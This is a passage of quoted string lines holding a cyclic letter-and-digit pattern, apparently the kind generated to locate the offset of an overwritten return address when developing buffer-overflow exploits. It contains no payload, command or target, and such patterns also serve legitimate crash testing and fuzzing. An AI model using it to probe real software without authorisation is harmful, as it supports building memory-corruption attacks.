"j3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk6Gk7Gk8Gk9Gl0Gl1Gl2Gl3Gl4Gl5Gl6Gl7Gl8Gl9"
"Gm0Gm1Gm2Gm3Gm4Gm5Gm6Gm7Gm8Gm9Gn0Gn1Gn2Gn3Gn4Gn5Gn6Gn7Gn8Gn9Go0Go1Go2Go3Go4Go5Go"
"6Go7Go8Go9Gp0Gp1Gp2Gp3Gp4Gp5Gp6Gp7Gp8Gp9Gq0Gq1Gq2Gq3Gq4Gq5Gq6Gq7Gq8Gq9Gr0Gr1Gr2G"
"r3Gr4Gr5Gr6Gr7Gr8Gr9Gs0Gs1Gs2Gs3Gs4Gs5Gs6Gs7Gs8Gs9Gt0Gt1Gt2Gt3Gt4Gt5Gt6Gt7Gt8Gt9"
"Gu0Gu1Gu2Gu3Gu4Gu5Gu6Gu7Gu8Gu9Gv0Gv1Gv2Gv3Gv4Gv5Gv6Gv7Gv8Gv9Gw0Gw1Gw2Gw3Gw4Gw5Gw"
"6Gw7Gw8Gw9Gx0Gx1Gx2Gx3Gx4Gx5Gx6Gx7Gx8Gx9Gy0Gy1Gy2Gy3Gy4Gy5Gy6Gy7Gy8Gy9Gz0Gz1Gz2G"
"z3Gz4Gz5Gz6Gz7Gz8Gz9Ha0Ha1Ha2Ha3Ha4Ha5Ha6Ha7Ha8Ha9Hb0Hb1Hb2Hb3Hb4Hb5Hb6Hb7Hb8Hb9"
"Hc0Hc1Hc2Hc3Hc4Hc5Hc6Hc7Hc8Hc9Hd0Hd1Hd2Hd3Hd4Hd5Hd6Hd7Hd8Hd9He0He1He2He3He4He5He"
"6He7He8He9Hf0Hf1Hf2Hf3Hf4Hf5Hf6Hf7Hf8Hf9Hg0Hg1Hg2Hg3Hg4Hg5Hg6Hg7Hg8Hg9Hh0Hh1Hh2H"
"h3Hh4Hh5Hh6Hh7Hh8Hh9Hi0Hi1Hi2Hi3Hi4Hi5Hi6Hi7Hi8Hi9Hj0Hj1Hj2Hj3Hj4Hj5Hj6Hj7Hj8Hj9"
"Hk0Hk1Hk2Hk3Hk4Hk5Hk6Hk7Hk8Hk9Hl0Hl1Hl2Hl3Hl4Hl5Hl6Hl7Hl8Hl9Hm0Hm1Hm2Hm3Hm4Hm5Hm"
"6Hm7Hm8Hm9Hn0Hn1Hn2Hn3Hn4Hn5Hn6Hn7Hn8Hn9Ho0Ho1Ho2Ho3Ho4Ho5Ho6Ho7Ho8Ho9Hp0Hp1Hp2H"
"p3Hp4Hp5Hp6Hp7Hp8Hp9Hq0Hq1Hq2Hq3Hq4Hq5Hq6Hq7Hq8Hq9Hr0Hr1Hr2Hr3Hr4Hr5Hr6Hr7Hr8Hr9"
"Hs0Hs1Hs2Hs3Hs4Hs5Hs6Hs7Hs8Hs9Ht0Ht1Ht2Ht3Ht4Ht5Ht6Ht7Ht8Ht9Hu0Hu1Hu2Hu3Hu4Hu5Hu"
"6Hu7Hu8Hu9Hv0Hv1Hv2Hv3Hv4Hv5Hv6Hv7Hv8Hv9Hw0Hw1Hw2Hw3Hw4Hw5Hw6Hw7Hw8Hw9Hx0Hx1Hx2H"
"x3Hx4Hx5Hx6Hx7Hx8Hx9Hy0Hy1Hy2Hy3Hy4Hy5Hy6Hy7Hy8Hy9Hz0Hz1Hz2Hz3Hz4Hz5Hz6Hz7Hz8Hz9"
"Ia0Ia1Ia2Ia3Ia4Ia5Ia6Ia7Ia8Ia9Ib0Ib1Ib2Ib3Ib4Ib5Ib6Ib7Ib8Ib9Ic0Ic1Ic2Ic3Ic4Ic5Ic"
"6Ic7Ic8Ic9Id0Id1Id2Id3Id4Id5Id6Id7Id8Id9Ie0Ie1Ie2Ie3Ie4Ie5Ie6Ie7Ie8Ie9If0If1If2I"
"f3If4If5If6If7If8If9Ig0Ig1Ig2Ig3Ig4Ig5Ig6Ig7Ig8Ig9Ih0Ih1Ih2Ih3Ih4Ih5Ih6Ih7Ih8Ih9"
"Ii0Ii1Ii2Ii3Ii4Ii5Ii6Ii7Ii8Ii9Ij0Ij1Ij2Ij3Ij4Ij5Ij6Ij7Ij8Ij9Ik0Ik1Ik2Ik3Ik4Ik5Ik"
"6Ik7Ik8Ik9Il0Il1Il2Il3Il4Il5Il6Il7Il8Il9Im0Im1Im2Im3Im4Im5Im6Im7Im8Im9In0In1In2I"
"n3In4In5In6In7In8In9Io0Io1Io2Io3Io4Io5Io6Io7Io8Io9Ip0Ip1Ip2Ip3Ip4Ip5Ip6Ip7Ip8Ip9"
"Iq0Iq1Iq2Iq3Iq4Iq5Iq6Iq7Iq8Iq9Ir0Ir1Ir2Ir3Ir4Ir5Ir6Ir7Ir8Ir9Is0Is1Is2Is3Is4Is5Is"
"6Is7Is8Is9It0It1It2It3It4It5It6It7It8It9Iu0Iu1Iu2Iu3Iu4Iu5Iu6Iu7Iu8Iu9Iv0Iv1Iv2I"
"v3Iv4Iv5Iv6Iv7Iv8Iv9Iw0Iw1Iw2Iw3Iw4Iw5Iw6Iw7Iw8Iw9Ix0Ix1Ix2Ix3Ix4Ix5Ix6Ix7Ix8Ix9"
"Iy0Iy1Iy2Iy3Iy4Iy5Iy6Iy7Iy8Iy9Iz0Iz1Iz2Iz3Iz4Iz5Iz6Iz7Iz8Iz9Ja0Ja1Ja2Ja3Ja4Ja5Ja"
"6Ja7Ja8Ja9Jb0Jb1Jb2Jb3Jb4Jb5Jb6Jb7Jb8Jb9Jc0Jc1Jc2Jc3Jc4Jc5Jc6Jc7Jc8Jc9Jd0Jd1Jd2J"
"d3Jd4Jd5Jd6Jd7Jd8Jd9Je0Je1Je2Je3Je4Je5Je6Je7Je8Je9Jf0Jf1Jf2Jf3Jf4Jf5Jf6Jf7Jf8Jf9"
"Jg0Jg1Jg2Jg3Jg4Jg5Jg6Jg7Jg8Jg9Jh0Jh1Jh2Jh3Jh4Jh5Jh6Jh7Jh8Jh9Ji0Ji1Ji2Ji3Ji4Ji5Ji"
"6Ji7Ji8Ji9Jj0Jj1Jj2Jj3Jj4Jj5Jj6Jj7Jj8Jj9Jk0Jk1Jk2Jk3Jk4Jk5Jk6Jk7Jk8Jk9Jl0Jl1Jl2J"
"l3Jl4Jl5Jl6Jl7Jl8Jl9Jm0Jm1Jm2Jm3Jm4Jm5Jm6Jm7Jm8Jm9Jn0Jn1Jn2Jn3Jn4Jn5Jn6Jn7Jn8Jn9"
"Jo0Jo1Jo2Jo3Jo4Jo5Jo6Jo7Jo8Jo9Jp0Jp1Jp2Jp3Jp4Jp5Jp6Jp7Jp8Jp9Jq0Jq1Jq2Jq3Jq4Jq5Jq"
"6Jq7Jq8Jq9Jr0Jr1Jr2Jr3Jr4Jr5Jr6Jr7Jr8Jr9Js0Js1Js2Js3Js4Js5Js6Js7Js8Js9Jt0Jt1Jt2J"
"t3Jt4Jt5Jt6Jt7Jt8Jt9Ju0Ju1Ju2Ju3Ju4Ju5Ju6Ju7Ju8Ju9Jv0Jv1Jv2Jv3Jv4Jv5Jv6Jv7Jv8Jv9"
"Jw0Jw1Jw2Jw3Jw4Jw5Jw6Jw7Jw8Jw9Jx0Jx1Jx2Jx3Jx4Jx5Jx6Jx7Jx8Jx9Jy0Jy1Jy2Jy3Jy4Jy5Jy"
"6Jy7Jy8Jy9Jz0Jz1Jz2Jz3Jz4Jz5Jz6Jz7Jz8Jz9Ka0Ka1Ka2Ka3Ka4Ka5Ka6Ka7Ka8Ka9Kb0Kb1Kb2K"
"b3Kb4Kb5Kb6Kb7Kb8Kb9Kc0Kc1Kc2Kc3Kc4Kc5Kc6Kc7Kc8Kc9Kd0Kd1Kd2Kd3Kd4Kd5Kd6Kd7Kd8Kd9"
"Ke0Ke1Ke2Ke3Ke4Ke5Ke6Ke7Ke8Ke9Kf0Kf1Kf2Kf3Kf4Kf5Kf6Kf7Kf8Kf9Kg0Kg1Kg2Kg3Kg4Kg5Kg"
"6Kg7Kg8Kg9Kh0Kh1Kh2Kh3Kh4Kh5Kh6Kh7Kh8Kh9Ki0Ki1Ki2Ki3Ki4Ki5Ki6Ki7Ki8Ki9Kj0Kj1Kj2K"
"j3Kj4Kj5Kj6Kj7Kj8Kj9Kk0Kk1Kk2Kk3Kk4Kk5Kk6Kk7Kk8Kk9Kl0Kl1Kl2Kl3Kl4Kl5Kl6Kl7Kl8Kl9"
"Km0Km1Km2Km3Km4Km5Km6Km7Km8Km9Kn0Kn1Kn2Kn3Kn4Kn5Kn6Kn7Kn8Kn9Ko0Ko1Ko2Ko3Ko4Ko5Ko"
"6Ko7Ko8Ko9Kp0Kp1Kp2Kp3Kp4Kp5Kp6Kp7Kp8Kp9Kq0Kq1Kq2Kq3Kq4Kq5Kq6Kq7Kq8Kq9Kr0Kr1Kr2K"
"r3Kr4Kr5Kr6Kr7Kr8Kr9Ks0Ks1Ks2Ks3Ks4Ks5Ks6Ks7Ks8Ks9Kt0Kt1Kt2Kt3Kt4Kt5Kt6Kt7Kt8Kt9"
"Ku0Ku1Ku2Ku3Ku4Ku5Ku6Ku7Ku8Ku9Kv0Kv1Kv2Kv3Kv4Kv5Kv6Kv7Kv8Kv9Kw0Kw1Kw2Kw3Kw4Kw5Kw"
"6Kw7Kw8Kw9Kx0Kx1Kx2Kx3Kx4Kx5Kx6Kx7Kx8Kx9Ky0Ky1Ky2Ky3Ky4Ky5Ky6Ky7Ky8Ky9Kz0Kz1Kz2K"
"z3Kz4Kz5Kz6Kz7Kz8Kz9La0La1La2La3La4La5La6La7La8La9Lb0Lb1Lb2Lb3Lb4Lb5Lb6Lb7Lb8Lb9"
"Lc0Lc1Lc2Lc3Lc4Lc5Lc6Lc7Lc8Lc9Ld0Ld1Ld2Ld3Ld4Ld5Ld6Ld7Ld8Ld9Le0Le1Le2Le3Le4Le5Le"
"6Le7Le8Le9Lf0Lf1Lf2Lf3Lf4Lf5Lf6Lf7Lf8Lf9Lg0Lg1Lg2Lg3Lg4Lg5Lg6Lg7Lg8Lg9Lh0Lh1Lh2L"
"h3Lh4Lh5Lh6Lh7Lh8Lh9Li0Li1Li2Li3Li4Li5Li6Li7Li8Li9Lj0Lj1Lj2Lj3Lj4Lj5Lj6Lj7Lj8Lj9"
"Lk0Lk1Lk2Lk3Lk4Lk5Lk6Lk7Lk8Lk9Ll0Ll1Ll2Ll3Ll4Ll5Ll6Ll7Ll8Ll9Lm0Lm1Lm2Lm3Lm4Lm5Lm"
"6Lm7Lm8Lm9Ln0Ln1Ln2Ln3Ln4Ln5Ln6Ln7Ln8Ln9Lo0Lo1Lo2Lo3Lo4Lo5Lo6Lo7Lo8Lo9Lp0Lp1Lp2L"
"p3Lp4Lp5Lp6Lp7Lp8Lp9Lq0Lq1Lq2Lq3Lq4Lq5Lq6Lq7Lq8Lq9Lr0Lr1Lr2Lr3Lr4Lr5Lr6Lr7Lr8Lr9"
"Ls0Ls1Ls2Ls3Ls4Ls5Ls6Ls7Ls8Ls9Lt0Lt1Lt2Lt3Lt4Lt5Lt6Lt7Lt8Lt9Lu0Lu1Lu2Lu3Lu4Lu5Lu"
"6Lu7Lu8Lu9Lv0Lv1Lv2Lv3Lv4Lv5Lv6Lv7Lv8Lv9Lw0Lw1Lw2Lw3Lw4Lw5Lw6Lw7Lw8Lw9Lx0Lx1Lx2L"
"x3Lx4Lx5Lx6Lx7Lx8Lx9Ly0Ly1Ly2Ly3Ly4Ly5Ly6Ly7Ly8Ly9Lz0Lz1Lz2Lz3Lz4Lz5Lz6Lz7Lz8Lz9"
"Ma0Ma1Ma2Ma3Ma4Ma5Ma6Ma7Ma8Ma9Mb0Mb1Mb2Mb3Mb4Mb5Mb6Mb7Mb8Mb9Mc0Mc1Mc2Mc3Mc4Mc5Mc"
"6Mc7Mc8Mc9Md0Md1Md2Md3Md4Md5Md6Md7Md8Md9Me0Me1Me2Me3Me4Me5Me6Me7Me8Me9Mf0Mf1Mf2M"
"f3Mf4Mf5Mf6Mf7Mf8Mf9Mg0Mg1Mg2Mg3Mg4Mg5Mg6Mg7Mg8Mg9Mh0Mh1Mh2Mh3Mh4Mh5Mh6Mh7Mh8Mh9"
"Mi0Mi1Mi2Mi3Mi4Mi5Mi6Mi7Mi8Mi9Mj0Mj1Mj2Mj3Mj4Mj5Mj6Mj7Mj8Mj9Mk0Mk1Mk2Mk3Mk4Mk5Mk"
"6Mk7Mk8Mk9Ml0Ml1Ml2Ml3Ml4Ml5Ml6Ml7Ml8Ml9Mm0Mm1Mm2Mm3Mm4Mm5Mm6Mm7Mm8Mm9Mn0Mn1Mn2M"
"n3Mn4Mn5Mn6Mn7Mn8Mn9Mo0Mo1Mo2Mo3Mo4Mo5Mo6Mo7Mo8Mo9Mp0Mp1Mp2Mp3Mp4Mp5Mp6Mp7Mp8Mp9"
"Mq0Mq1Mq2Mq3Mq4Mq5Mq6Mq7Mq8Mq9Mr0Mr1Mr2Mr3Mr4Mr5Mr6Mr7Mr8Mr9Ms0Ms1Ms2Ms3Ms4Ms5Ms"
"6Ms7Ms8Ms9Mt0Mt1Mt2Mt3Mt4Mt5Mt6Mt7Mt8Mt9Mu0Mu1Mu2Mu3Mu4Mu5Mu6Mu7Mu8Mu9Mv0Mv1Mv2M"
"v3Mv4Mv5Mv6Mv7Mv8Mv9Mw0Mw1Mw2Mw3Mw4Mw5Mw6Mw7Mw8Mw9Mx0Mx1Mx2Mx3Mx4Mx5Mx6Mx7Mx8Mx9"
"My0My1My2My3My4My5My6My7My8My9Mz0Mz1Mz2Mz3Mz4Mz5Mz6Mz7Mz8Mz9Na0Na1Na2Na3Na4Na5Na"
"6Na7Na8Na9Nb0Nb1Nb2Nb3Nb4Nb5Nb6Nb7Nb8Nb9Nc0Nc1Nc2Nc3Nc4Nc5Nc6Nc7Nc8Nc9Nd0Nd1Nd2N"
"d3Nd4Nd5Nd6Nd7Nd8Nd9Ne0Ne1Ne2Ne3Ne4Ne5Ne6Ne7Ne8Ne9Nf0Nf1Nf2Nf3Nf4Nf5Nf6Nf7Nf8Nf9"
"Ng0Ng1Ng2Ng3Ng4Ng5Ng6Ng7Ng8Ng9Nh0Nh1Nh2Nh3Nh4Nh5Nh6Nh7Nh8Nh9Ni0Ni1Ni2Ni3Ni4Ni5Ni"
"6Ni7Ni8Ni9Nj0Nj1Nj2Nj3Nj4Nj5Nj6Nj7Nj8Nj9Nk0Nk1Nk2Nk3Nk4Nk5Nk6Nk7Nk8Nk9Nl0Nl1Nl2N"
"l3Nl4Nl5Nl6Nl7Nl8Nl9Nm0Nm1Nm2Nm3Nm4Nm5Nm6Nm7Nm8Nm9Nn0Nn1Nn2Nn3Nn4Nn5Nn6Nn7Nn8Nn9"
"No0No1No2No3No4No5No6No7No8No9Np0Np1Np2Np3Np4Np5Np6Np7Np8Np9Nq0Nq1Nq2Nq3Nq4Nq5Nq"
"6Nq7Nq8Nq9Nr0Nr1Nr2Nr3Nr4Nr5Nr6Nr7Nr8Nr9Ns0Ns1Ns2Ns3Ns4Ns5Ns6Ns7Ns8Ns9Nt0Nt1Nt2N"
"t3Nt4Nt5Nt6Nt7Nt8Nt9Nu0Nu1Nu2Nu3Nu4Nu5Nu6Nu7Nu8Nu9Nv0Nv1Nv2Nv3Nv4Nv5Nv6Nv7Nv8Nv9"
"Nw0Nw1Nw2Nw3Nw4Nw5Nw6Nw7Nw8Nw9Nx0Nx1Nx2Nx3Nx4Nx5Nx6Nx7Nx8Nx9Ny0Ny1Ny2Ny3Ny4Ny5Ny"
"6Ny7Ny8Ny9Nz0Nz1Nz2Nz3Nz4Nz5Nz6Nz7Nz8Nz9Oa0Oa1Oa2Oa3Oa4Oa5Oa6Oa7Oa8Oa9Ob0Ob1Ob2O"
"b3Ob4Ob5Ob6Ob7Ob8Ob9Oc0Oc1Oc2Oc3Oc4Oc5Oc6Oc7Oc8Oc9Od0Od1Od2Od3Od4Od5Od6Od7Od8Od9"
"Oe0Oe1Oe2Oe3Oe4Oe5Oe6Oe7Oe8Oe9Of0Of1Of2Of3Of4Of5Of6Of7Of8Of9Og0Og1Og2Og3Og4Og5Og"
"6Og7Og8Og9Oh0Oh1Oh2Oh3Oh4Oh5Oh6Oh7Oh8Oh9Oi0Oi1Oi2Oi3Oi4Oi5Oi6Oi7Oi8Oi9Oj0Oj1Oj2O"
"j3Oj4Oj5Oj6Oj7Oj8Oj9Ok0Ok1Ok2Ok3Ok4Ok5Ok6Ok7Ok8Ok9Ol0Ol1Ol2Ol3Ol4Ol5Ol6Ol7Ol8Ol9"
"Om0Om1Om2Om3Om4Om5Om6Om7Om8Om9On0On1On2On3On4On5On6On7On8On9Oo0Oo1Oo2Oo3Oo4Oo5Oo"
"6Oo7Oo8Oo9Op0Op1Op2Op3Op4Op5Op6Op7Op8Op9Oq0Oq1Oq2Oq3Oq4Oq5Oq6Oq7Oq8Oq9Or0Or1Or2O"
"r3Or4Or5Or6Or7Or8Or9Os0Os1Os2Os3Os4Os5Os6Os7Os8Os9Ot0Ot1Ot2Ot3Ot4Ot5Ot6Ot7Ot8Ot9"
"Ou0Ou1Ou2Ou3Ou4Ou5Ou6Ou7Ou8Ou9Ov0Ov1Ov2Ov3Ov4Ov5Ov6Ov7Ov8Ov9Ow0Ow1Ow2Ow3Ow4Ow5Ow"
"6Ow7Ow8Ow9Ox0Ox1Ox2Ox3Ox4Ox5Ox6Ox7Ox8Ox9Oy0Oy1Oy2Oy3Oy4Oy5Oy6Oy7Oy8Oy9Oz0Oz1Oz2O"
"z3Oz4Oz5Oz6Oz7Oz8Oz9Pa0Pa1Pa2Pa3Pa4Pa5Pa6Pa7Pa8Pa9Pb0Pb1Pb2Pb3Pb4Pb5Pb6Pb7Pb8Pb9"
"Pc0Pc1Pc2Pc3Pc4Pc5Pc6Pc7Pc8Pc9Pd0Pd1Pd2Pd3Pd4Pd5Pd6Pd7Pd8Pd9Pe0Pe1Pe2Pe3Pe4Pe5Pe"
"6Pe7Pe8Pe9Pf0Pf1Pf2Pf3Pf4Pf5Pf6Pf7Pf8Pf9Pg0Pg1Pg2Pg3Pg4Pg5Pg6Pg7Pg8Pg9Ph0Ph1Ph2P"
"h3Ph4Ph5Ph6Ph7Ph8Ph9Pi0Pi1Pi2Pi3Pi4Pi5Pi6Pi7Pi8Pi9Pj0Pj1Pj2Pj3Pj4Pj5Pj6Pj7Pj8Pj9"
"Pk0Pk1Pk2Pk3Pk4Pk5Pk6Pk7Pk8Pk9Pl0Pl1Pl2Pl3Pl4Pl5Pl6Pl7Pl8Pl9Pm0Pm1Pm2Pm3Pm4Pm5Pm"
"6Pm7Pm8Pm9Pn0Pn1Pn2Pn3Pn4Pn5Pn6Pn7Pn8Pn9Po0Po1Po2Po3Po4Po5Po6Po7Po8Po9Pp0Pp1Pp2P"
"p3Pp4Pp5Pp6Pp7Pp8Pp9Pq0Pq1Pq2Pq3Pq4Pq5Pq6Pq7Pq8Pq9Pr0Pr1Pr2Pr3Pr4Pr5Pr6Pr7Pr8Pr9"
"Ps0Ps1Ps2Ps3Ps4Ps5Ps6Ps7Ps8Ps9Pt0Pt1Pt2Pt3Pt4Pt5Pt6Pt7Pt8Pt9Pu0Pu1Pu2Pu3Pu4Pu5Pu"
"6Pu7Pu8Pu9Pv0Pv1Pv2Pv3Pv4Pv5Pv6Pv7Pv8Pv9Pw0Pw1Pw2Pw3Pw4Pw5Pw6Pw7Pw8Pw9Px0Px1Px2P"
"x3Px4Px5Px6Px7Px8Px9Py0Py1Py2Py3Py4Py5Py6Py7Py8Py9Pz0Pz1Pz2Pz3Pz4Pz5Pz6Pz7Pz8Pz9"
"Qa0Qa1Qa2Qa3Qa4Qa5Qa6Qa7Qa8Qa9Qb0Qb1Qb2Qb3Qb4Qb5Qb6Qb7Qb8Qb9Qc0Qc1Qc2Qc3Qc4Qc5Qc"
"6Qc7Qc8Qc9Qd0Qd1Qd2Qd3Qd4Qd5Qd6Qd7Qd8Qd9Qe0Qe1Qe2Qe3Qe4Qe5Qe6Qe7Qe8Qe9Qf0Qf1Qf2Q"
"f3Qf4Qf5Qf6Qf7Qf8Qf9Qg0Qg1Qg2Qg3Qg4Qg5Qg6Qg7Qg8Qg9Qh0Qh1Qh2Qh3Qh4Qh5Qh6Qh7Qh8Qh9"
"Qi0Qi1Qi2Qi3Qi4Qi5Qi6Qi7Qi8Qi9Qj0Qj1Qj2Qj3Qj4Qj5Qj6Qj7Qj8Qj9Qk0Qk1Qk2Qk3Qk4Qk5Qk"
"6Qk7Qk8Qk9Ql0Ql1Ql2Ql3Ql4Ql5Ql6Ql7Ql8Ql9Qm0Qm1Qm2Qm3Qm4Qm5Qm6Qm7Qm8Qm9Qn0Qn1Qn2Q"
"n3Qn4Qn5Qn6Qn7Qn8Qn9Qo0Qo1Qo2Qo3Qo4Qo5Qo6Qo7Qo8Qo9Qp0Qp1Qp2Qp3Qp4Qp5Qp6Qp7Qp8Qp9"
"Qq0Qq1Qq2Qq3Qq4Qq5Qq6Qq7Qq8Qq9Qr0Qr1Qr2Qr3Qr4Qr5Qr6Qr7Qr8Qr9Qs0Qs1Qs2Qs3Qs4Qs5Qs"
"6Qs7Qs8Qs9Qt0Qt1Qt2Qt3Qt4Qt5Qt6Qt7Qt8Qt9Qu0Qu1Qu2Qu3Qu4Qu5Qu6Qu7Qu8Qu9Qv0Qv1Qv2Q"
"v3Qv4Qv5Qv6Qv7Qv8Qv9Qw0Qw1Qw2Qw3Qw4Qw5Qw6Qw7Qw8Qw9Qx0Qx1Qx2Qx3Qx4Qx5Qx6Qx7Qx8Qx9"
"Qy0Qy1Qy2Qy3Qy4Qy5Qy6Qy7Qy8Qy9Qz0Qz1Qz2Qz3Qz4Qz5Qz6Qz7Qz8Qz9Ra0Ra1Ra2Ra3Ra4Ra5Ra"
"6Ra7Ra8Ra9Rb0Rb1Rb2Rb3Rb4Rb5Rb6Rb7Rb8Rb9Rc0Rc1Rc2Rc3Rc4Rc5Rc6Rc7Rc8Rc9Rd0Rd1Rd2R"
"d3Rd4Rd5Rd6Rd7Rd8Rd9Re0Re1Re2Re3Re4Re5Re6Re7Re8Re9Rf0Rf1Rf2Rf3Rf4Rf5Rf6Rf7Rf8Rf9"
"Rg0Rg1Rg2Rg3Rg4Rg5Rg6Rg7Rg8Rg9Rh0Rh1Rh2Rh3Rh4Rh5Rh6Rh7Rh8Rh9Ri0Ri1Ri2Ri3Ri4Ri5Ri"
"6Ri7Ri8Ri9Rj0Rj1Rj2Rj3Rj4Rj5Rj6Rj7Rj8Rj9Rk0Rk1Rk2Rk3Rk4Rk5Rk6Rk7Rk8Rk9Rl0Rl1Rl2R"
"l3Rl4Rl5Rl6Rl7Rl8Rl9Rm0Rm1Rm2Rm3Rm4Rm5Rm6Rm7Rm8Rm9Rn0Rn1Rn2Rn3Rn4Rn5Rn6Rn7Rn8Rn9"
"Ro0Ro1Ro2Ro3Ro4Ro5Ro6Ro7Ro8Ro9Rp0Rp1Rp2Rp3Rp4Rp5Rp6Rp7Rp8Rp9Rq0Rq1Rq2Rq3Rq4Rq5Rq"
"6Rq7Rq8Rq9Rr0Rr1Rr2Rr3Rr4Rr5Rr6Rr7Rr8Rr9Rs0Rs1Rs2Rs3Rs4Rs5Rs6Rs7Rs8Rs9Rt0Rt1Rt2R"
"t3Rt4Rt5Rt6Rt7Rt8Rt9Ru0Ru1Ru2Ru3Ru4Ru5Ru6Ru7Ru8Ru9Rv0Rv1Rv2Rv3Rv4Rv5Rv6Rv7Rv8Rv9"
"Rw0Rw1Rw2Rw3Rw4Rw5Rw6Rw7Rw8Rw9Rx0Rx1Rx2Rx3Rx4Rx5Rx6Rx7Rx8Rx9Ry0Ry1Ry2Ry3Ry4Ry5Ry"
"6Ry7Ry8Ry9Rz0Rz1Rz2Rz3Rz4Rz5Rz6Rz7Rz8Rz9Sa0Sa1Sa2Sa3Sa4Sa5Sa6Sa7Sa8Sa9Sb0Sb1Sb2S"
"b3Sb4Sb5Sb6Sb7Sb8Sb9Sc0Sc1Sc2Sc3Sc4Sc5Sc6Sc7Sc8Sc9Sd0Sd1Sd2Sd3Sd4Sd5Sd6Sd7Sd8Sd9"
"Se0Se1Se2Se3Se4Se5Se6Se7Se8Se9Sf0Sf1Sf2Sf3Sf4Sf5Sf6Sf7Sf8Sf9Sg0Sg1Sg2Sg3Sg4Sg5Sg"
"6Sg7Sg8Sg9Sh0Sh1Sh2Sh3Sh4Sh5Sh6Sh7Sh8Sh9Si0Si1Si2Si3Si4Si5Si6Si7Si8Si9Sj0Sj1Sj2S"
"j3Sj4Sj5Sj6Sj7Sj8Sj9Sk0Sk1Sk2Sk3Sk4Sk5Sk6Sk7Sk8Sk9Sl0Sl1Sl2Sl3Sl4Sl5Sl6Sl7Sl8Sl9"
"Sm0Sm1Sm2Sm3Sm4Sm5Sm6Sm7Sm8Sm9Sn0Sn1Sn2Sn3Sn4Sn5Sn6Sn7Sn8Sn9So0So1So2So3So4So5So"
"6So7So8So9Sp0Sp1Sp2Sp3Sp4Sp5Sp6Sp7Sp8Sp9Sq0Sq1Sq2Sq3Sq4Sq5Sq6Sq7Sq8Sq9Sr0Sr1Sr2S"
"r3Sr4Sr5Sr6Sr7Sr8Sr9Ss0Ss1Ss2Ss3Ss4Ss5Ss6Ss7Ss8Ss9St0St1St2St3St4St5St6St7St8St9"
"Su0Su1Su2Su3Su4Su5Su6Su7Su8Su9Sv0Sv1Sv2Sv3Sv4Sv5Sv6Sv7Sv8Sv9Sw0Sw1Sw2Sw3Sw4Sw5Sw"
"6Sw7Sw8Sw9Sx0Sx1Sx2Sx3Sx4Sx5Sx6Sx7Sx8Sx9Sy0Sy1Sy2Sy3Sy4Sy5Sy6Sy7Sy8Sy9Sz0Sz1Sz2S"
"z3Sz4Sz5Sz6Sz7Sz8Sz9Ta0Ta1Ta2Ta3Ta4Ta5Ta6Ta7Ta8Ta9Tb0Tb1Tb2Tb3Tb4Tb5Tb6Tb7Tb8Tb9"
"Tc0Tc1Tc2Tc3Tc4Tc5Tc6Tc7Tc8Tc9Td0Td1Td2Td3Td4Td5Td6Td7Td8Td9Te0Te1Te2Te3Te4Te5Te"
"6Te7Te8Te9Tf0Tf1Tf2Tf3Tf4Tf5Tf6Tf7Tf8Tf9Tg0Tg1Tg2Tg3Tg4Tg5Tg6Tg7Tg8Tg9Th0Th1Th2T"
"h3Th4Th5Th6Th7Th8Th9Ti0Ti1Ti2Ti3Ti4Ti5Ti6Ti7Ti8Ti9Tj0Tj1Tj2Tj3Tj4Tj5Tj6Tj7Tj8Tj9"
"Tk0Tk1Tk2Tk3Tk4Tk5Tk6Tk7Tk8Tk9Tl0Tl1Tl2Tl3Tl4Tl5Tl6Tl7Tl8Tl9Tm0Tm1Tm2Tm3Tm4Tm5Tm"
"6Tm7Tm8Tm9Tn0Tn1Tn2Tn3Tn4Tn5Tn6Tn7Tn8Tn9To0To1To2To3To4To5To6To7To8To9Tp0Tp1Tp2T"
"p3Tp4Tp5Tp6Tp7Tp8Tp9Tq0Tq1Tq2Tq3Tq4Tq5Tq6Tq7Tq8Tq9Tr0Tr1Tr2Tr3Tr4Tr5Tr6Tr7Tr8Tr9"
"Ts0Ts1Ts2Ts3Ts4Ts5Ts6Ts7Ts8Ts9Tt0Tt1Tt2Tt3Tt4Tt5Tt6Tt7Tt8Tt9Tu0Tu1Tu2Tu3Tu4Tu5Tu"
"6Tu7Tu8Tu9Tv0Tv1Tv2Tv3Tv4Tv5Tv6Tv7Tv8Tv9Tw0Tw1Tw2Tw3Tw4Tw5Tw6Tw7Tw8Tw9Tx0Tx1Tx2T"
"x3Tx4Tx5Tx6Tx7Tx8Tx9Ty0Ty1Ty2Ty3Ty4Ty5Ty6Ty7Ty8Ty9Tz0Tz1Tz2Tz3Tz4Tz5Tz6Tz7Tz8Tz9"
"Ua0Ua1Ua2Ua3Ua4Ua5Ua6Ua7Ua8Ua9Ub0Ub1Ub2Ub3Ub4Ub5Ub6Ub7Ub8Ub9Uc0Uc1Uc2Uc3Uc4Uc5Uc"
"6Uc7Uc8Uc9Ud0Ud1Ud2Ud3Ud4Ud5Ud6Ud7Ud8Ud9Ue0Ue1Ue2Ue3Ue4Ue5Ue6Ue7Ue8Ue9Uf0Uf1Uf2U"
"f3Uf4Uf5Uf6Uf7Uf8Uf9Ug0Ug1Ug2Ug3Ug4Ug5Ug6Ug7Ug8Ug9Uh0Uh1Uh2Uh3Uh4Uh5Uh6Uh7Uh8Uh9"
"Ui0Ui1Ui2Ui3Ui4Ui5Ui6Ui7Ui8Ui9Uj0Uj1Uj2Uj3Uj4Uj5Uj6Uj7Uj8Uj9Uk0Uk1Uk2Uk3Uk4Uk5Uk"
"6Uk7Uk8Uk9Ul0Ul1Ul2Ul3Ul4Ul5Ul6Ul7Ul8Ul9Um0Um1Um2Um3Um4Um5Um6Um7Um8Um9Un0Un1Un2U"
"n3Un4Un5Un6Un7Un8Un9Uo0Uo1Uo2Uo3Uo4Uo5Uo6Uo7Uo8Uo9Up0Up1Up2Up3Up4Up5Up6Up7Up8Up9"
"Uq0Uq1Uq2Uq3Uq4Uq5Uq6Uq7Uq8Uq9Ur0Ur1Ur2Ur3Ur4Ur5Ur6Ur7Ur8Ur9Us0Us1Us2Us3Us4Us5Us"
"6Us7Us8Us9Ut0Ut1Ut2Ut3Ut4Ut5Ut6Ut7Ut8Ut9Uu0Uu1Uu2Uu3Uu4Uu5Uu6Uu7Uu8Uu9Uv0Uv1Uv2U"
"v3Uv4Uv5Uv6Uv7Uv8Uv9Uw0Uw1Uw2Uw3Uw4Uw5Uw6Uw7Uw8Uw9Ux0Ux1Ux2Ux3Ux4Ux5Ux6Ux7Ux8Ux9"
